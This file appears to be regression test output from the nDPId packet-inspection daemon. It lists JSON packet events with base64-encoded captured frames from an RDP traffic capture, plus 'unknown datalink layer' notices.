+00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1917,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1918,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845670,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JD5Hoie8UBAf9LY6AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1918,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02071{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1919,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":845969,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjkUAAfwYhRsCoAo6sEAK5DT3NDkeiJ7z5vSOXUBD45yY0AAAXAwMGbwAAAAAAAAJyKOVQ1Fs7CjsLQtnqj3nqhJ6yBv4yPtGAA7LcDXLNC+kl5M+XN5gRkzcoVewwOT\/3bD8tlwdFQQzv5GOMS13wk+l5Z8aqfWoy58+qkS027q7pOlHHL9CJLjjxDdDkS0ldWHxF\/BBptO4Je9NW14rmviXFnDc2H4Gv2ZmNrowshnbAF+XScKf8t+Myvg+o\/IJraIyxFQalJgtKUY378WBMIOJ67fux2SEg7yIn9Mm0jghUFELk4mcxnSwErWlbxt5BiSe58kpqbxR9b14tEk5oqRDdQ4aONzla8eF6ALawHY4zpPT3dkAWGXneLriYlEnpa917FVOTA5RDmKx2LaN5\/K5EbOpnN2Qh89a25IyXjEFQ3GKYSHqoWkrs3M9Zh0EPEaH0HgVDoY5rGI5LpqC428Qec7qLxYCHsy7Ofyy6vg4Q\/orJ61g+FZqkvNdiA2a78BfCfkPNbVt5TJ9GwyaYYt1RBl0ligW+lrDGAO5DTzjAbnH22lB5CvLTn6W4JyP1w70O+g+C5+dcfNbwTjAQiG22pLnSDRdxne733i2NPq\/nJ8LDgJ4uOpU+C6ZkLAqeoGmbDu5FQhjxx57JkiHBOSDyB6GiFV442oZ\/bHqj15UMtPghVG8BLzQNdd+AON9Gy1rcK3X5rhnDroCiW+dyRDTmYAulBPcZSJDdfvGzx9DmW5RnbH4mRX+9GMZhBqQwqtfIUdJcti5QJFq1XpCT0wNHY4Vj9bmBQXDQgLsSKOOgBkGCf9x2AiqJ04T69JJR399+XImGfc7bOKusKTi5tJCv0UiXyhChNLCa3xxgI59MYMcsopBnqw3JvHHUTeRRzbfGWL75sYvR9zwk0Zp6Wn1rml2GMf+7a3LzC5aFy3aZJqiP3aEUHslCN4QlLOu\/QCO8b3oRgqg38V4BaDEVG8gv9UIJHokplM65oSCbWtdxTpUlQL1Np+16BXTxZhrF5TU\/nDQBfZAkf3H06fb3Y2Xiy2IFc8DVhIk2y7PhD\/bVgMeLDyMCot6yZqN7YRH\/pZBm7BpyxXFBatSwKbwxzheN1w0ZOG2dQfZFDxun0VCGVuoXrC0rfvStP9Rhl0aiCDoFOXhA9xxVmyYFoNA2phat9gzKErj\/QbpuI+Dmg6j6qnPgnZ3tSVgy9P0KJ\/vcFhwk1D4bP43o3PrkGOHvzNEgfg9\/X5a1wDctnyziDwBo5cHDdQwvzehBNFEx+CgHDmzqZ7Fto+z2NbYxEa2wF31HPho2eQuVHwbkbU7zkHiDW18I+IYxQ+QwTT7gpj8L8qYacnKkqaZMFpBNyTh+p8CZH3gT+948asM7SX5n6NYR7tyaRou\/SIG8w\/\/AhQLRrs6nT+Uw0FoOxmM6NtWwfluZjYX9QOKW3UCO9wjHCB2hq\/CiGv\/JD2+GAhP+IqctKSDmiu8x6Ahd6eVskTXVDMj0bcq5b7TT84cqW2CnWinvKfpvMpqHcYCGKP0DFPkLxTBAjEI8pnq1vvU39iQMphwg6b40WxrlygQqljOfTsQrguIBu0HgbfMQqnI5oQBPQYRIONpxcIK6Fy9kYGv9qhBuuzgvnWSciw9oTtEuIloOUB61mHtqkIiSKRsZgL5Jkrx5HDooCKp1xCmglYbX1rLv07pjG4X4b0yixqIW5VX2PWoP9wmZCvTy\/SIEvrMlEkYnfHSXyN48PmLA"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1919,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00871{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1920,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846056,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjkkAAfwYkw8CoAo6sEAK5DT3NDkeiLLX5vSOXUBj45+OPAAB5Lh09whQOut7HpZW2ZBygSf7dj3aSEXBU6OaSROF\/GQzSvJ+ZqXD5ddW2uy+\/aRMLIW\/btMibweB8aqNNKt54UONnXS0knuRnytcLfF+FlS+Y3rCTwDXNgef6dSJf67GrqlOm4mTjD+lZlfzka6NvFpVn\/7N5eLh+2cejV76cBcgAkoj1BvAeO3hntLlP2RNhIOrdPOKQLVor9CqnwXgNteFAs2GZeJP1kGmgbP3\/2\/y4kr4iDtdN+b\/hXxBREVRZOlcI5dTdSFZV9KDmxgu09pUSR1gDhKZJ48nVfnYFL\/jv74fQBeyj9DBhNzMN\/1kbwVyEuyrht3i+G4B2ReiVxwzf7Dx+Nh7aJ\/B84tWk9zD+\/meN\/sMYixIlcxG2brlXXfk+bxeDSNE5L3qc0ro8D2nH4BXcarSsrRn\/QDCL2qs5xlpoQh4J2AKs3eyV6F3xMkCrsPS8KiuVqqof87IbZDlHZd+Ati2Rf\/YED5a25L8scdK+JVc5Auc8"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1920,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1921,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846095,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JD5Hoi4wUBAf9K\/GAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1921,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1922,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846116,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jk0AAfwYmCMCoAo6sEAK5DT3NDkeiLjD5vSOXUBj458ujAAAXAwMAMAAAAAAAAAJzZGlQJbmpfWfq1aZAKUAaQA\/f4+c3JID2pfpEg79VbK4cCD5VdjZAIA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1922,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1923,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846171,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jlEAAfwYmB8CoAo6sEAK5DT3NDkeiLmX5vSOXUBj45\/F8AAAXAwMAMAAAAAAAAAJ0zK+l5HTqe21cqy288f0lv2Selx3tBd+gQ3GjVlqwYQTgh7LlSEs5fg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1923,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1924,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846190,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JD5Hoi5lUBAf\/q+HAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1924,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1925,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846645,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jlUAAfwYmBsCoAo6sEAK5DT3NDkeiLpr5vSOXUBj45\/MDAAAXAwMAMAAAAAAAAAJ1Q+e7sAru42hRcKfaDJyzXBuscMRQu7Ag2qw3HLLhNcXDPje7F4eHtA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1925,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1926,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846693,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JD5Hoi6aUBAf\/q9SAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1926,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1927,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846863,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9JD5Hoi6aUBggAPv2AAAXAwMAOOAIO32NJwxEMbax5s20wkTaoYINK5zH7WAYpGNHPzfa1xiXkTLbPj1BK0+L9x+zVDcx3TR32G3d"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1927,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1928,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846950,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjlkAAfwYhQcCoAo6sEAK5DT3NDkeiLs\/5vSOXUBD4510aAAAXAwMGbwAAAAAAAAJ2KS6J\/eanm9VWVWsRCXt4YvAZOcNPqBh83HT3cKwfomHUZUE5FHDbONoNAHLUUvszHVJO45KkU1HNYGziapphMj9SI8OZFlXzgT+CyYt1\/J18uui7uPcYx6Z6B\/jmONpLzwvm08IollzrTdmuUnZBBbiaKuSMpJbRCnbn6m450ijGUd6RXwSYhs5LsG5ZBLWiZ3p+UKAkYn1tGN1WEyZC3KN3HqAMN+drmCb9RgXRTSrcESopB+Su8WCRJAVSKH6SCduoYqcKTolGQj+ZQUPOwipF\/qJ9ItV0ujNgaEWPDZ7m\/mU1mKZP96WIPH2ti22n6LFxfSKqhH0EbRXPvMRQahg+\/JD5olNb0yaYowkZivEMvfCStCaxI+lnH02MxXrY05UO2CK3hJ2dBf5j8gXYpwkf+VCkrK4LLHq1ZyWLu0BZhwAFS\/DgklF0UBYKq421eAxWvyoZ5DTAozVaxEdQlBdkG+hBEJvfTH39auQAcn4IGPrxuxgUvQTIijnRTU3DpJvFWUyIHE1pAxBz7wORKiX5HR8vpdxv4eIXJZx0zGM\/QHApLNuook9WCsSd3SFjF9mOTCYWEc4uh3RVJaJl1pUXPUq1vJ7EUQ49fknxwZF\/uyBN2X8lNSR4ZmkymYN\/b444YMcZ\/1ILdHz808egq83MCWo\/37z46QIyRqP9s+FXT7tEk3H\/5K+ZXQbj6Xux2\/8rFQ7Mj3Xz9CCjRaHtVesMeQF0qeT+PR40ebD1ePudlkbttY4CzmVTQun3UeLxKamub\/QEA1xcgCgHZ2690nxD5pXB25RLBKckXIE0w3tGDUtV7wK4Q6XdqN\/GYxJvxVDr0zcXNe1wZ8\/lDO9Ew04rYIBUGdCoYnrcNjOW2ucLzd8iZGkyFPzy9lNGq9MP\/cp1mzDB5IdjL0qaeNjNxJJLHxA3Fzy7DrGR46A2VfRZcmB7rm9dKwQeTMWpUJbs2xeCIdQ72k85Mat0pJrFdMolCSqVXtZPGgZn+85+ndq1V6QLtin5ZdtFeOxh2rkTpFD4wZ58puG0Vsuszgg9cxUSlT+ooNK+SdDg7\/8wgSMSVXJ1S3nmimrW\/Kg4vvRnZN0ehv4hiFjWdIVpXtz60Xh6jIUd4CPGqvOupC0CIlFbFIzr8dkuXpaWooBZtIJoJmOdfOIhSfziXrZcyJhlb951DBgJ9yebTOVVmZITHR4VNy56wiVbJFEUTMAZIKdPIhoUkw877X+HXjb3hEH6p8KkqXeNV0Ia0PLRKwuZsh4RyQfyaISWVR0GR6iP72GxPi7SiEiPF0TLeV2dZODFqnI15TaxXoKxBFd4HnPiLA7sTurT+398YOnzdngt4ZB6+94vsewOUoH5TGEwFuCbm3PS5CKlwB0EXbDZ3BMwXLqA6K0z2l1F\/OIH5icskOgMJ5cJ59svRvtlAxmoBfgjmEM7tfXVtvv0IfjXzqerfa+fqsLpK5FgjF0lAmrizKHrV0AR\/2m5oraYoylBjZOnLjzPQwCeZyWnoHHO+mHeYwSd0q+NKwBUVzPkq7Y8bIEfbSTLNEhmyvtKSqc643XurWTQgq+65RoWIsUGY+uNL1Fg\/KCpUcBjEfjTJFu6zPjiHFOejq98rcMh6fgcbcDOCrcyvdg2iv1Ipz7HXP42RUD1dikOBNXzKdc1bdvmDlqtYEnDUuXfTWZ8VRpD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1928,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1929,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846980,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjl0AAfwYkvsCoAo6sEAK5DT3NDkeiM8j5vSOXUBj452adAAB6QuyEhK53N4F\/naBzkTNIIk9lvUiaSmkqiZf6U6LtTyrkGUYGSs0XxBTNURZcURNngPT+W6gw4ndKFkPoygM96WCeFops83\/UOoCvb0ddoDqRdJ\/pye62NvqgNlUZ6GUOEhT8eM7c2huNU2VW\/Jj3BoZa1Yf0o2LMkevUU1jIRUcT\/SXtIO7I3ZndFbu5SOGkbgrmhV1oqzdMPETGmwB548ru65QNvJt\/6EpQS+9AzboFaoB\/K\/nqNk3HWjCyBug0V\/QMLP994MiQsrCp6Pcd6GI2co9LaFt2DdMWc9FXCqDX0idymIjBmiZq2xisBTRvv0uMF\/ToGUFPPddsy6cx5twPF7uXiJXn8KEbsW5cXvXJvGVBtLo+octZ0g4I4j6WjYNveZd63PupQ9F5LGaOrcAplRkeRUJDwQ67nxl4avmjkwzc7GJOBxCG3IV+Yg+mDXyA5xPRaXsGMSNWbu10WVhrfT6CLoQpCM+LqC8iIPMS32RaT5IBPtd+"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1929,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1930,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":846999,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JHtHoi7PUBAf\/q7gAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1930,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1931,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847211,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9JHtHoi7PUBggAGYIAAAXAwMAMOAIO32NJwxFrJuWM0uzTj7aWcMFB\/ACETyH0cQy6gLou5sCS8aPczBjvRfZVXZQGA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1931,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02070{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1932,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847337,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjmEAAfwYhP8CoAo6sEAK5DT3NDkeiNUP5vSOXUBD453NYAAAXAwMGbwAAAAAAAAJ3oSyf2P09GGFp2Iu+RWwNQ1qX0TuUIH3s2l5IsdQd6OrxTBr48Nqwf0FLXKNvOfEoyq6CKDj1Z+LrQOQf6Euap\/4qKU7pBIYcftP1tPJ85zUkOyDAdXroMa5sMAIf57nlmk+z1HLbLwykAJVU+EAx7oHNMk\/BEQguM+D3gyc7NZZMzr+Ro4ZqCrCFot+z8poKtWX2YcHPWmjGw7lHF11iu2BWBYDLo4F2Ml2a4gk49FGNZAA2kfJePSUqDCLdCCMv4RF2n\/K1LwYsDhTzucsEa6\/wavlkNJjNNI+qPvAIkJAigaF+z5iVQsDoxvLX335dPQk0UCB57B1wQ3hCJfkPtyklsKrmY2vDtjYbUgkVZJ6eYmKNQemWl0UZ8+gZgR7Tr1IOSlLkbw7dByUzSRjEFBJuTwuR0rQ8t6zcp01s\/98Q0XAaY9F5IIEkvHzYdEmXsv\/aoSgRJa1gV0TzyZ7cQ3fUyt4v3Ll0fXLCCyD1mrwC+2zXR+w3qaaJ\/ENFMvV0et0uEd+DAOGA64\/jsqqtqsKwqMaTdjiXa412ZqVMSlWjANLWYRZaSB3zS4pW0YKshQiIZl\/2xPGk\/mzNbxNr4gGB1JnQLr1dN49IptiaijCqfG7HuqCYdA3d+Ra13ebkmUP7e5GfpU9CnU9QLHrKhKNznudE9DTFXsSDhd7EQpLJJSi2myb3Y2Gb4sVXQLCGcLogaJbc2MC4azhU1iWonQ4kBdLdbUHm5CVdoI1mk83UfVA1Fd3y79Xl4L4PY9Jlgta\/DyIQqPeXDEXTby45xyvz9uYahzgsPEgeI8sYKWBGAzOrp66Zv0kgHtYIGmxah7JmFkgIvLtZQBiP7XKs6eNgYbp1KfNdsx6qgaO3xXwN\/LLl3au1ZorlagdrblSRPMoKIPh174zfWVx1Vi8WiprCt9WDvjrAnQEQ3oBxLzvYmGsOUZwIbX5Y1lQuPhl2hFFS4AXQHi57plyWP6MuX2HEuX4tmNUHmEp5CufM7yaT\/cwu7kaKtyFpE5fCBDMEEXFs0bLSO9nPXjzE1bfTiS4uWOoWrO2h8IYyOP4OQEnpiATIASV3lWW8Zk2sRJ6FsaxPtpP0BkSUIQD+rZ2eskjZ8vWuAOdlHRfM0hlBofTWl\/iL7BoQabllX7JLz6UcYZsYyI0WENiGdb3qLLIUkKKFER0x25iQkX047mEXlFhnCWthp+gX\/SwyTSf\/Rg53MZV93lUXWDbWVUowUuKjw83FQvHNXIYsH8F92fV01mLeN76k94B51Tk9alWVNtl8ndCoBA2fUT7mNmBYoaNlp8lkAcOK5iOsIh7m9AtZpf4HtLBXhd5efNjS8y5YuWfKPYpZWDNfDRWfH6BKqKoejmbpgU2FAFncwjPTm\/L\/O8Jz0yFMPE6xJGXUMvbS+xALBvUFrtKorjqTooinjn0rRSsYt+rAw89OFmqRJ3ck3AASMeBK8VzEB5Aw17kDHzH78IqXSk2fT4VZGRVdQc9tDy4tow40Pn0Ow1YsKluTaLJYyG24jMG02Xpv0rdGRfs8+htFsexDWjVGhOEKdxMD2DO3Pijx25p1SpeYs27lyhawxq84fdhy7a5GrJb21L54mjbVXmCqr5XWINwf1W8SOMvfXY\/4IJXDEqNtIukCxMNyTlhVTuQrSyIWAnyuO8iWZmr5TWk4SuWle0hd"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1932,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1933,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847369,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjmUAAfwYkvMCoAo6sEAK5DT3NDkeiOjz5vSOXUBj454NrAABo6RulzPBsPGYZ4OFguwQOAZn1eSeK9WTu5Urk2JOFRxRJh8z+ifS7qRy8ABhcrvz+XfZHDkl\/AzWz8w9jusY0dZnFMRHvz6S9RpvfRXqsVrdyVtsRHM6E98rMmC82e+pDc92WzLt0xz2doC3JTEq3E683KkJzpv3tOqJ8ELFnglK72P+PkmRav\/nsuKedNq4rGKQM0+plTtolTJq8IAmAs\/5h0bYL0dat22pl\/3i3pVe262JFaC1As4\/qTJU5irKjGhYfKWd6ovntzbnn9ZhCvcyf5ocrFGyvHrCBap1hBhRg8ZK9wx\/YmeCDlKvnvXUdG+ToVRtj84tzJ5MiUprCAoA16LpAhwbnqDatXewFxiK+RdlXvLFnXKUOy2Ns8Dtcal8j6lLoST4Go4zZP6uhmp+0v0rBcmHgKf\/fs6OBUP30zOQoGECNQHgS8frDoYEP6X4Qo7FEwDkdxOQULLgG7GbA2aIF3xQuo40fAMdK0TQdtCPRZiwfUUlZ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1933,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1934,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847388,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JLBHojVDUBAf9KhBAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1934,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1935,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847547,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9JLBHoju3UBAfzKH1AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1935,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1936,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":847664,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjmkAAfwYhPcCoAo6sEAK5DT3NDkeiO7f5vSOXUBD453qAAAAXAwMGbwAAAAAAAAJ4YRpU3DIOlWO3iMd1EAP3baW+wg0VOXZFCzact9YDdkybjpYme9S7ZbGykTEc\/uk6QaO8kZKOFqdVDn\/m+ocE1+G44jtYrsXphaGjNclD\/tCoSf0fY1LSdmvzbiibFXvg\/70sEVca6gCHOjvIXUPRqtYt2P\/Hc84PAY36rbPtnZ\/h1sTj1FFqfGCz2R7lKZ1ZYUVvxKjotL\/DFgCJk8dBdZ9MUqq9JCsCnABM0AmmJFAeVGIJTlPyu1xS\/rnRD3gZPdsl1N8ADfg+n2Q80ziH6WTAylVeys0Uf0ZVFJO3D+38KUcApkp\/FmZRvFVAl61mqI+KsnXHoiuOQie\/6aP70lqqaVh9XCiWTADKuQkiNgMMrAbO9SMeAEnZIKTtpVpzHTkA8ROA1cQ\/5XyxyeXbN7+LhFXDqb0VELygJimhVN6oiiZ1zZAoR\/tqLubhOpMxyAxHbDiyMAJdG6aqTN4B0fNIKvpY99LOJ3eIE35HjlcDaT9tEfsBGz4KL13Dzgo00OEnw6XMyWsypS+CQEfVMvQjrjFIscrMuhK6pySB++hUtcgDam3toTvD78hkmvQPhRm9UlAzjLJ2Cr7TPgeFfsmTOwPoYgxfCOGmB4lpg5HyO180OCK8ezhsgQzmo16fopin3+gvERDNtRjdiOMkARg1V7OLwcgY38qEW\/GZt5aP6hof4+s61phmKsqYTD2EuQsUpD7IC2Ek\/i\/M0DCEQlJyzTu3TEpPRI5Piqrh+etq\/QE69WXo+iBf72976zbBQQtllc4lN0W4ZJedH4pUZMMDYQTqTNJ0neZt4b+RufudPMobG3S6xgA4\/\/X1ZDlMsJ3MLmF8RElDN7nyPKIVuHEaWQ7+8gyxDq\/WxEH8QWH4cxBXTjGsC4pOc61vdvTvNMNcniTVnfP4R7cRsQgRmCKZQZ4S4VccZ86cqWbn2Y5xD4eY\/8yU58fnTnJRFfRcJVVhq4Kn8hHuTRk1I6w+TdzRIFgBbhIBBlvGJVV6bbsCgkjzHG6edH2DDBptq9xffhRJKPHu2CJiIFBvrGMxYrxzt7hv2iAPeypJYac3tkKVo3LAcuPHmzHf0hR+D2L09lacGnI6Z4b2hxJdK6n23nUtZ47lj2ad1juFchF99vLUYKpyVcPweGmAzNRzvlj5Q14moj\/441+26GW74psm8\/IUAW2ULo1KRIWDp0vj7lBqpe7iQgY9CbXmVR81m+3XWvluKbd6cGf005FlQIJJyVciKXAwle7nKaQcen7uRZFHbT2Q1xf4DfyN9YtWE7lvOiS1+hUUdOGxiisGFUz3wWO4\/0ZApx3PEsJ9H2bV7qkBFlD9K\/jA6NWbX8tm7HNVtY8VScVu5fPgrulMX7wcvuvr0M2HlrvJNAnoSdXsKgczSUuwQkNzdWDqgqdJdXEESF4GgGu\/pJVVh7VuWtcLKUjcEPEX2dVo8uq7fIang5Hs3AEPwmuU3E+5e2FEpxbxd6d5mQUgfX2+3IQFqqfJPUX5lBatUqAKNECwvz3cLSLtr4BrwVFhB0igLY5z3qvlZOlBxzGE0MnCTuLToBdfV5MZb37jUX2UqF+yENlZOEWvEmLWWfhg3+wy+LH+gz7kMh\/YWKl9toEIRh5YBzWt5Zc8Jkl9Xx9qmIWnowd9A9DRyvmP71OjwhA8YhlWB82i7BaGacuw7O3Mk0WY"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1936,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 